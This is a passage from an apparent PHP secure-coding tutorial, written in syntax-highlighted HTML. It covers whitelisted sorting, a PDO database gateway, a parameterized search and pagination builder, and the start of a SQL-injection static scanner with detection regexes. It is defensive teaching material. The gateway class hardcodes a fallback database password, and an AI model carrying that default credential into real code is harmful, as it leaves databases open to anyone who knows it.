    <span class="token string single-quoted-string">'score'</span>      <span class="token operator">=></span> <span class="token string single-quoted-string">'users.score'</span>
<span class="token punctuation">]</span><span class="token punctuation">;</span>

<span class="token variable">$allowedDirections</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string single-quoted-string">'ASC'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'DESC'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>

<span class="token comment">// 1. Whitelist the column identifier</span>
<span class="token variable">$userSort</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'sort'</span><span class="token punctuation">]</span> <span class="token operator">??</span> <span class="token string single-quoted-string">'created_at'</span><span class="token punctuation">;</span>
<span class="token variable">$orderBy</span> <span class="token operator">=</span> <span class="token variable">$allowedSortColumns</span><span class="token punctuation">[</span><span class="token variable">$userSort</span><span class="token punctuation">]</span> <span class="token operator">??</span> <span class="token string single-quoted-string">'users.created_at'</span><span class="token punctuation">;</span>

<span class="token comment">// 2. Whitelist the sort direction</span>
<span class="token variable">$userDirection</span> <span class="token operator">=</span> <span class="token function">strtoupper</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'dir'</span><span class="token punctuation">]</span> <span class="token operator">??</span> <span class="token string single-quoted-string">'DESC'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$direction</span> <span class="token operator">=</span> <span class="token function">in_array</span><span class="token punctuation">(</span><span class="token variable">$userDirection</span><span class="token punctuation">,</span> <span class="token variable">$allowedDirections</span><span class="token punctuation">,</span> <span class="token constant boolean">true</span><span class="token punctuation">)</span> <span class="token operator">?</span> <span class="token variable">$userDirection</span> <span class="token punctuation">:</span> <span class="token string single-quoted-string">'DESC'</span><span class="token punctuation">;</span>

<span class="token comment">// 3. Safe to interpolate because $orderBy and $direction are strictly verified against hardcoded strings!</span>
<span class="token variable">$sql</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"SELECT id, username, email, created_at FROM users WHERE status = :status ORDER BY <span class="token interpolation"><span class="token punctuation">{</span><span class="token variable">$orderBy</span><span class="token punctuation">}</span></span> <span class="token interpolation"><span class="token punctuation">{</span><span class="token variable">$direction</span><span class="token punctuation">}</span></span>"</span><span class="token punctuation">;</span>
<span class="token variable">$stmt</span> <span class="token operator">=</span> <span class="token variable">$pdo</span><span class="token operator">-></span><span class="token function">prepare</span><span class="token punctuation">(</span><span class="token variable">$sql</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">execute</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'status'</span> <span class="token operator">=></span> <span class="token string single-quoted-string">'active'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$results</span> <span class="token operator">=</span> <span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">fetchAll</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>

Module 8: Complete Production-Ready Defensive Implementations

Let us build four production-ready security components.

Project 1: Enterprise Secure Database Gateway (`Database.php`)

Create classes/Database.php:

PHP

<span class="token php language-php"><span class="token delimiter important"><?php</span>
<span class="token keyword">namespace</span> <span class="token package">SecurityMasterclass</span><span class="token punctuation">;</span>

<span class="token keyword">use</span> <span class="token package">PDO</span><span class="token punctuation">;</span>
<span class="token keyword">use</span> <span class="token package">PDOException</span><span class="token punctuation">;</span>
<span class="token keyword">use</span> <span class="token package">InvalidArgumentException</span><span class="token punctuation">;</span>

<span class="token keyword">class</span> <span class="token class-name-definition class-name">Database</span>
<span class="token punctuation">{</span>
    <span class="token keyword">private</span> <span class="token keyword">static</span> <span class="token operator">?</span><span class="token class-name type-declaration">Database</span> <span class="token variable">$instance</span> <span class="token operator">=</span> <span class="token constant">null</span><span class="token punctuation">;</span>
    <span class="token keyword">private</span> <span class="token class-name type-declaration">PDO</span> <span class="token variable">$pdo</span><span class="token punctuation">;</span>

    <span class="token keyword">private</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token variable">$host</span> <span class="token operator">=</span> <span class="token function">getenv</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'DB_HOST'</span><span class="token punctuation">)</span> <span class="token operator">?</span><span class="token punctuation">:</span> <span class="token string single-quoted-string">'127.0.0.1'</span><span class="token punctuation">;</span>
        <span class="token variable">$port</span> <span class="token operator">=</span> <span class="token function">getenv</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'DB_PORT'</span><span class="token punctuation">)</span> <span class="token operator">?</span><span class="token punctuation">:</span> <span class="token string single-quoted-string">'3306'</span><span class="token punctuation">;</span>
        <span class="token variable">$db</span>   <span class="token operator">=</span> <span class="token function">getenv</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'DB_NAME'</span><span class="token punctuation">)</span> <span class="token operator">?</span><span class="token punctuation">:</span> <span class="token string single-quoted-string">'production_app'</span><span class="token punctuation">;</span>
        <span class="token variable">$user</span> <span class="token operator">=</span> <span class="token function">getenv</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'DB_USER'</span><span class="token punctuation">)</span> <span class="token operator">?</span><span class="token punctuation">:</span> <span class="token string single-quoted-string">'app_user'</span><span class="token punctuation">;</span>
        <span class="token variable">$pass</span> <span class="token operator">=</span> <span class="token function">getenv</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'DB_PASS'</span><span class="token punctuation">)</span> <span class="token operator">?</span><span class="token punctuation">:</span> <span class="token string single-quoted-string">'SecuRe_P@ssw0rd_2026!'</span><span class="token punctuation">;</span>
        <span class="token variable">$charset</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'utf8mb4'</span><span class="token punctuation">;</span>

        <span class="token variable">$dsn</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"mysql:host=<span class="token interpolation"><span class="token punctuation">{</span><span class="token variable">$host</span><span class="token punctuation">}</span></span>;port=<span class="token interpolation"><span class="token punctuation">{</span><span class="token variable">$port</span><span class="token punctuation">}</span></span>;dbname=<span class="token interpolation"><span class="token punctuation">{</span><span class="token variable">$db</span><span class="token punctuation">}</span></span>;charset=<span class="token interpolation"><span class="token punctuation">{</span><span class="token variable">$charset</span><span class="token punctuation">}</span></span>"</span><span class="token punctuation">;</span>

        <span class="token variable">$options</span> <span class="token operator">=</span> <span class="token punctuation">[</span>
            <span class="token class-name static-context">PDO</span><span class="token operator">::</span><span class="token constant">ATTR_ERRMODE</span>            <span class="token operator">=></span> <span class="token class-name static-context">PDO</span><span class="token operator">::</span><span class="token constant">ERRMODE_EXCEPTION</span><span class="token punctuation">,</span>
            <span class="token class-name static-context">PDO</span><span class="token operator">::</span><span class="token constant">ATTR_DEFAULT_FETCH_MODE</span> <span class="token operator">=></span> <span class="token class-name static-context">PDO</span><span class="token operator">::</span><span class="token constant">FETCH_ASSOC</span><span class="token punctuation">,</span>
            <span class="token class-name static-context">PDO</span><span class="token operator">::</span><span class="token constant">ATTR_EMULATE_PREPARES</span>   <span class="token operator">=></span> <span class="token constant boolean">false</span><span class="token punctuation">,</span> <span class="token comment">// True Server-Side Prepares</span>
            <span class="token class-name static-context">PDO</span><span class="token operator">::</span><span class="token constant">MYSQL_ATTR_INIT_COMMAND</span> <span class="token operator">=></span> <span class="token string double-quoted-string">"SET NAMES utf8mb4 COLLATE utf8mb4_unicode_ci"</span>
        <span class="token punctuation">]</span><span class="token punctuation">;</span>

        <span class="token keyword">try</span> <span class="token punctuation">{</span>
            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">pdo</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">PDO</span><span class="token punctuation">(</span><span class="token variable">$dsn</span><span class="token punctuation">,</span> <span class="token variable">$user</span><span class="token punctuation">,</span> <span class="token variable">$pass</span><span class="token punctuation">,</span> <span class="token variable">$options</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span><span class="token class-name">PDOException</span> <span class="token variable">$e</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token function">error_log</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"[Database Security Error] Connection failed: "</span> <span class="token operator">.</span> <span class="token variable">$e</span><span class="token operator">-></span><span class="token function">getMessage</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name class-name-fully-qualified"><span class="token punctuation">\</span>RuntimeException</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"Database service currently unavailable."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">function</span> <span class="token function-definition function">getInstance</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token class-name return-type">Database</span>
    <span class="token punctuation">{</span>
        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token variable">$instance</span> <span class="token operator">===</span> <span class="token constant">null</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token variable">$instance</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Database</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
        <span class="token keyword">return</span> <span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token variable">$instance</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">getPdo</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token class-name return-type">PDO</span>
    <span class="token punctuation">{</span>
        <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">pdo</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token comment">// Generic safe query runner with automatic parameter binding</span>
    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">query</span><span class="token punctuation">(</span><span class="token keyword type-hint">string</span> <span class="token variable">$sql</span><span class="token punctuation">,</span> <span class="token keyword type-hint">array</span> <span class="token variable">$params</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword return-type">array</span>
    <span class="token punctuation">{</span>
        <span class="token variable">$stmt</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">pdo</span><span class="token operator">-></span><span class="token function">prepare</span><span class="token punctuation">(</span><span class="token variable">$sql</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">execute</span><span class="token punctuation">(</span><span class="token variable">$params</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">return</span> <span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">fetchAll</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token comment">// Generic safe fetch one row</span>
    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">fetchOne</span><span class="token punctuation">(</span><span class="token keyword type-hint">string</span> <span class="token variable">$sql</span><span class="token punctuation">,</span> <span class="token keyword type-hint">array</span> <span class="token variable">$params</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token operator">?</span><span class="token keyword return-type">array</span>
    <span class="token punctuation">{</span>
        <span class="token variable">$stmt</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">pdo</span><span class="token operator">-></span><span class="token function">prepare</span><span class="token punctuation">(</span><span class="token variable">$sql</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">execute</span><span class="token punctuation">(</span><span class="token variable">$params</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$row</span> <span class="token operator">=</span> <span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">return</span> <span class="token variable">$row</span> <span class="token operator">===</span> <span class="token constant boolean">false</span> <span class="token operator">?</span> <span class="token constant">null</span> <span class="token punctuation">:</span> <span class="token variable">$row</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token comment">// Generic safe insert/update/delete returning affected row count</span>
    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">execute</span><span class="token punctuation">(</span><span class="token keyword type-hint">string</span> <span class="token variable">$sql</span><span class="token punctuation">,</span> <span class="token keyword type-hint">array</span> <span class="token variable">$params</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword return-type">int</span>
    <span class="token punctuation">{</span>
        <span class="token variable">$stmt</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">pdo</span><span class="token operator">-></span><span class="token function">prepare</span><span class="token punctuation">(</span><span class="token variable">$sql</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">execute</span><span class="token punctuation">(</span><span class="token variable">$params</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">return</span> <span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">rowCount</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token comment">// Safe transaction wrapper</span>
    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">transaction</span><span class="token punctuation">(</span><span class="token keyword type-hint">callable</span> <span class="token variable">$callback</span><span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">pdo</span><span class="token operator">-></span><span class="token function">beginTransaction</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token keyword">try</span> <span class="token punctuation">{</span>
            <span class="token variable">$result</span> <span class="token operator">=</span> <span class="token variable">$callback</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">pdo</span><span class="token operator">-></span><span class="token function">commit</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token keyword">return</span> <span class="token variable">$result</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span><span class="token class-name class-name-fully-qualified"><span class="token punctuation">\</span>Throwable</span> <span class="token variable">$e</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">pdo</span><span class="token operator">-></span><span class="token function">rollBack</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token function">error_log</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"[Transaction Aborted] Error: "</span> <span class="token operator">.</span> <span class="token variable">$e</span><span class="token operator">-></span><span class="token function">getMessage</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
            <span class="token keyword">throw</span> <span class="token variable">$e</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>
    <span class="token punctuation">}</span>
<span class="token punctuation">}</span></span>

Project 2: Safe Dynamic Filtering & Pagination Engine

PHP

<span class="token php language-php"><span class="token delimiter important"><?php</span>
<span class="token keyword">namespace</span> <span class="token package">SecurityMasterclass</span><span class="token punctuation">;</span>

<span class="token keyword">class</span> <span class="token class-name-definition class-name">ProductQueryBuilder</span>
<span class="token punctuation">{</span>
    <span class="token keyword">private</span> <span class="token class-name type-declaration">Database</span> <span class="token variable">$db</span><span class="token punctuation">;</span>

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token class-name type-declaration">Database</span> <span class="token variable">$db</span><span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">db</span> <span class="token operator">=</span> <span class="token variable">$db</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">searchProducts</span><span class="token punctuation">(</span><span class="token keyword type-hint">array</span> <span class="token variable">$filters</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword return-type">array</span>
    <span class="token punctuation">{</span>
        <span class="token variable">$sql</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"SELECT product_id, title, category, price, stock, created_at FROM products WHERE 1=1"</span><span class="token punctuation">;</span>
        <span class="token variable">$params</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span>

        <span class="token comment">// 1. Safe Search Filter (Partial Match)</span>
        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token keyword">empty</span><span class="token punctuation">(</span><span class="token variable">$filters</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'search'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$sql</span> <span class="token operator">.=</span> <span class="token string double-quoted-string">" AND (title LIKE :search OR description LIKE :search)"</span><span class="token punctuation">;</span>
            <span class="token variable">$params</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'search'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'%'</span> <span class="token operator">.</span> <span class="token function">trim</span><span class="token punctuation">(</span><span class="token variable">$filters</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'search'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'%'</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token comment">// 2. Safe Category Filter</span>
        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token keyword">empty</span><span class="token punctuation">(</span><span class="token variable">$filters</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'category'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$sql</span> <span class="token operator">.=</span> <span class="token string double-quoted-string">" AND category = :category"</span><span class="token punctuation">;</span>
            <span class="token variable">$params</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'category'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">trim</span><span class="token punctuation">(</span><span class="token variable">$filters</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'category'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token comment">// 3. Safe Numerical Range Filter</span>
        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$filters</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'min_price'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&&</span> <span class="token function">is_numeric</span><span class="token punctuation">(</span><span class="token variable">$filters</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'min_price'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$sql</span> <span class="token operator">.=</span> <span class="token string double-quoted-string">" AND price >= :min_price"</span><span class="token punctuation">;</span>
            <span class="token variable">$params</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'min_price'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword type-casting">float</span><span class="token punctuation">)</span><span class="token variable">$filters</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'min_price'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$filters</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'max_price'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&&</span> <span class="token function">is_numeric</span><span class="token punctuation">(</span><span class="token variable">$filters</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'max_price'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token variable">$sql</span> <span class="token operator">.=</span> <span class="token string double-quoted-string">" AND price <= :max_price"</span><span class="token punctuation">;</span>
            <span class="token variable">$params</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'max_price'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword type-casting">float</span><span class="token punctuation">)</span><span class="token variable">$filters</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'max_price'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token comment">// 4. Strict Whitelist Sorting</span>
        <span class="token variable">$allowedSort</span> <span class="token operator">=</span> <span class="token punctuation">[</span>
            <span class="token string single-quoted-string">'price'</span>      <span class="token operator">=></span> <span class="token string single-quoted-string">'price'</span><span class="token punctuation">,</span>
            <span class="token string single-quoted-string">'title'</span>      <span class="token operator">=></span> <span class="token string single-quoted-string">'title'</span><span class="token punctuation">,</span>
            <span class="token string single-quoted-string">'created_at'</span> <span class="token operator">=></span> <span class="token string single-quoted-string">'created_at'</span><span class="token punctuation">,</span>
            <span class="token string single-quoted-string">'stock'</span>      <span class="token operator">=></span> <span class="token string single-quoted-string">'stock'</span>
        <span class="token punctuation">]</span><span class="token punctuation">;</span>
        <span class="token variable">$sortKey</span> <span class="token operator">=</span> <span class="token variable">$filters</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'sort'</span><span class="token punctuation">]</span> <span class="token operator">??</span> <span class="token string single-quoted-string">'created_at'</span><span class="token punctuation">;</span>
        <span class="token variable">$column</span> <span class="token operator">=</span> <span class="token variable">$allowedSort</span><span class="token punctuation">[</span><span class="token variable">$sortKey</span><span class="token punctuation">]</span> <span class="token operator">??</span> <span class="token string single-quoted-string">'created_at'</span><span class="token punctuation">;</span>

        <span class="token variable">$direction</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$filters</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'order'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&&</span> <span class="token function">strtoupper</span><span class="token punctuation">(</span><span class="token variable">$filters</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'order'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">===</span> <span class="token string single-quoted-string">'ASC'</span><span class="token punctuation">)</span> <span class="token operator">?</span> <span class="token string single-quoted-string">'ASC'</span> <span class="token punctuation">:</span> <span class="token string single-quoted-string">'DESC'</span><span class="token punctuation">;</span>
        <span class="token variable">$sql</span> <span class="token operator">.=</span> <span class="token string double-quoted-string">" ORDER BY <span class="token interpolation"><span class="token punctuation">{</span><span class="token variable">$column</span><span class="token punctuation">}</span></span> <span class="token interpolation"><span class="token punctuation">{</span><span class="token variable">$direction</span><span class="token punctuation">}</span></span>"</span><span class="token punctuation">;</span>

        <span class="token comment">// 5. Safe Strict Integer Pagination</span>
        <span class="token variable">$page</span> <span class="token operator">=</span> <span class="token function">max</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token keyword type-casting">int</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token variable">$filters</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'page'</span><span class="token punctuation">]</span> <span class="token operator">??</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$limit</span> <span class="token operator">=</span> <span class="token function">min</span><span class="token punctuation">(</span><span class="token number">100</span><span class="token punctuation">,</span> <span class="token function">max</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token keyword type-casting">int</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token variable">$filters</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'limit'</span><span class="token punctuation">]</span> <span class="token operator">??</span> <span class="token number">20</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token variable">$offset</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token variable">$page</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token variable">$limit</span><span class="token punctuation">;</span>

        <span class="token variable">$sql</span> <span class="token operator">.=</span> <span class="token string double-quoted-string">" LIMIT <span class="token interpolation"><span class="token punctuation">{</span><span class="token variable">$limit</span><span class="token punctuation">}</span></span> OFFSET <span class="token interpolation"><span class="token punctuation">{</span><span class="token variable">$offset</span><span class="token punctuation">}</span></span>"</span><span class="token punctuation">;</span>

        <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">db</span><span class="token operator">-></span><span class="token function">query</span><span class="token punctuation">(</span><span class="token variable">$sql</span><span class="token punctuation">,</span> <span class="token variable">$params</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>
<span class="token punctuation">}</span></span>

Project 3: Automated SQL Injection CLI Linter for PHP Codebases

Create tools/sqli_scanner.php to automatically audit your PHP repository for dangerous dynamic queries:

PHP

<span class="token php language-php"><span class="token delimiter important"><?php</span>
<span class="token comment">// PHP CLI SQL Injection Static Code Analyzer</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">php_sapi_name</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!==</span> <span class="token string single-quoted-string">'cli'</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"CLI only.\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span>

<span class="token variable">$targetDir</span> <span class="token operator">=</span> <span class="token variable">$argv</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">??</span> <span class="token constant">__DIR__</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'/../'</span><span class="token punctuation">;</span>
<span class="token keyword">echo</span> <span class="token string double-quoted-string">"[+] Scanning PHP codebase in: <span class="token interpolation"><span class="token punctuation">{</span><span class="token variable">$targetDir</span><span class="token punctuation">}</span></span>\n"</span><span class="token punctuation">;</span>

<span class="token variable">$dangerousPatterns</span> <span class="token operator">=</span> <span class="token punctuation">[</span>
    <span class="token string single-quoted-string">'/\$(db|conn|mysqli|pdo)\s*->\s*query\s*\(\s*["\'].*?\$[a-zA-Z0-9_]+/i'</span> <span class="token operator">=></span> <span class="token string single-quoted-string">'Dynamic variable concatenated directly inside ->query()'</span><span class="token punctuation">,</span>
    <span class="token string single-quoted-string">'/SELECT\s+.*?\s+FROM\s+.*?\s+WHERE\s+.*?\$[a-zA-Z0-9_]+/i'</span>               <span class="token operator">=></span> <span class="token string single-quoted-string">'Unparameterized variable inside SQL string literal'</span><span class="token punctuation">,</span>
    <span class="token string single-quoted-string">'/\$conn\s*->\s*query\s*\(\s*sprintf\s*\(/i'</span>                              <span class="token operator">=></span> <span class="token string single-quoted-string">'Potentially dangerous sprintf query formatting without parameter binding'</span><span class="token punctuation">,</span>
    <span class="token string single-quoted-string">'/PDO::ATTR_EMULATE_PREPARES\s*=>\s*true/i'</span>                                <span class="token operator">=></span> <span class="token string single-quoted-string">'Insecure Emulated Prepares explicitly enabled'</span><span class="token punctuation">,</span>
<span class="token punctuation">]</span><span class="token punctuation">;</span>

<span class="token variable">$iterator</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">RecursiveIteratorIterator</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">RecursiveDirectoryIterator</span><span class="token punctuation">(</span><span class="token variable">$targetDir</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$issuesCount</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>

<span class="token keyword">foreach</span> <span class="token punctuation">(</span><span class="token variable">$iterator</span> <span class="token keyword">as</span> <span class="token variable">$file</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$file</span><span class="token operator">-></span><span class="token function">isDir</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token variable">$file</span><span class="token operator">-></span><span class="token function">getExtension</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!==</span> <span class="token string single-quoted-string">'php'</span><span class="token punctuation">)</span> <span class="token keyword">continue</span><span class="token punctuation">;</span>

